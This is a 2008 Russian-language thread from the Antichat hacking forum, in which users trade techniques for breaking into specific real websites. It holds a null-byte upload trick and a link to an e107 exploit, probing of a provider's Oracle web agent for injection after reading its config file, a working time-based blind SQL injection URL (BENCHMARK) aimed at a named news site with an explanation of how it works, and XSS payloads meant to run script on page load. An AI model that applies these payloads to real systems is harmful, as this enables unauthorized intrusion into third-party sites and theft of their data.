28.01.2008, 20:40
|
|
Reservists Of Antichat - Level 6
Регистрация: 19.03.2007
Сообщений: 953
С нами:
10077446
Репутация:
3965
|
|
Попробуй загрузить кратинку с именем img.php%00.gif
Вероятность мала но все же есть что твой файл чудесным образом превратиться на сервере в img.php
Непрошло..
Кста стоит тама e107
я юзал вот ето
_http://milw0rm.com/exploits/4099
__________________
BlackHat. MoDL
|
|
|
29.01.2008, 17:28
|
|
Участник форума
Регистрация: 02.09.2006
Сообщений: 176
С нами:
10362626
Репутация:
327
|
|
Привет.У меня есть вопрос...
мой провайдер (raid.ru) использует какуюто особую программ
для работы пользователя с бд Programm ppo.c version 1.7
смог выжать конфиг в котором как понял прописаны все бд /var/www/db.raid.ru/cgi-bin/ora_agent.cfg
запросы формируются странным образом
https://db.raid.ru/cgi-bin/ppo/es_webface/point_access.services
es_webface название бд как я понял
point_access -хз
services -действие
если кто что знает подскажите...
|
|
|
|
29.01.2008, 19:19
|
|
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
С нами:
10274726
Репутация:
1917
|
|
Я так и не понял в чем вопрос? point_access - оракловский пакет, services -процедура
__________________
Карфаген должен быть разрушен...
|
|
|
|
29.01.2008, 19:43
|
|
Участник форума
Регистрация: 02.09.2006
Сообщений: 176
С нами:
10362626
Репутация:
327
|
|
что есть:
Programm ppo.c version 1.7
каким образом формируются запросы
есть ли вариеции инжэкта через этот скрипт
|
|
|
|
29.01.2008, 19:50
|
|
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
С нами:
10274726
Репутация:
1917
|
|
вот погуглил нашел _http://oraclub.trecom.tomsk.su/util/webagent.htm
программа предназначена для связывания самого попу-
лярного веб сервера Apache и самого популярного сервера
баз данных Oracle
Программа просто передает на исполнение и забирает
результат родных Oracl'овских пакаджей
оффтоп: Ура, батарейка
__________________
Карфаген должен быть разрушен...
|
|
|
|
31.01.2008, 00:50
|
|
Участник форума
Регистрация: 02.08.2007
Сообщений: 242
С нами:
9881483
Репутация:
569
|
|
Возможно раскрутить такую скуль,и если да то как?
Заранее спасибо.
код:
http://www.yerevan.ru/news/print.php?id=999+order+by+1/*
|
|
|
|
31.01.2008, 01:18
|
|
Leaders of Antichat - Level 4
Регистрация: 26.11.2006
Сообщений: 237
С нами:
10240166
Репутация:
2097
|
|
С помощью BENCHMARK-ка только получилось
http://www.yerevan.ru/news/print.php?id=128%20and%20id=IF(SUBSTRING(version() ,1,1)=4,1,BENCHMARK(299971,MD5(NOW())))
__________________
Не занимаюсь коммерцией в любых ее проявлениях.
|
|
|
|
31.01.2008, 02:25
|
|
Участник форума
Регистрация: 02.08.2007
Сообщений: 242
С нами:
9881483
Репутация:
569
|
|
Сообщение от l-l00K
С помощью BENCHMARK-ка только получилось
http://www.yerevan.ru/news/print.php?id=128%20and%20id=IF(SUBSTRING(version() ,1,1)=4,1,BENCHMARK(299971,MD5(NOW())))
а подробней можно,что это дает?
|
|
|
|
31.01.2008, 02:19
|
|
Members of Antichat - Level 5
Регистрация: 28.05.2007
Сообщений: 729
С нами:
9976706
Репутация:
1934
|
|
Можно ли в теге
<a href="123" <здесь> " target="_blank" class="bb-url"> 234 </a>
вставить javascript, который будет исполняться сразу при заходе на страницу(не выпонляя никаких действий)? Пробовал следующие варианты, но безрезультатно...
Код:
style=background-image:url(javascript:alert(1);)
sss='alert(1);this.sss=null' style='top:expression(eval(this.sss);)'
style=url(javascript:alert(1);)
Последний раз редактировалось AFoST; 31.01.2008 в 02:22..
|
|
|
|
31.01.2008, 03:11
|
|
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
С нами:
10274726
Репутация:
1917
|
|
fobofob, вот здесь подробней http://forum.antichat.ru/thread35207.html
смысл в использовании подзапросов, т.е. если логическое выражение SUBSTRING(version(),1,1)=4 правильное, то просто id сравнивается с 1, а если неправильное, то выполняется BENCHMARK(299971,MD5(NOW())), а это достаточно долго, т.е если логическое выражение правильное, то запрос выполнится сразу, а если неправильное, то "загрузка" страницы ненадолго "зависнет"
__________________
Карфаген должен быть разрушен...
|
|
|
|
|
 |
|
Предыдущая тема
Следующая тема
|
Здесь присутствуют: 8 (пользователей: 0 , гостей: 8)
|
|
|
|
Похожие темы
Комбинированный вид
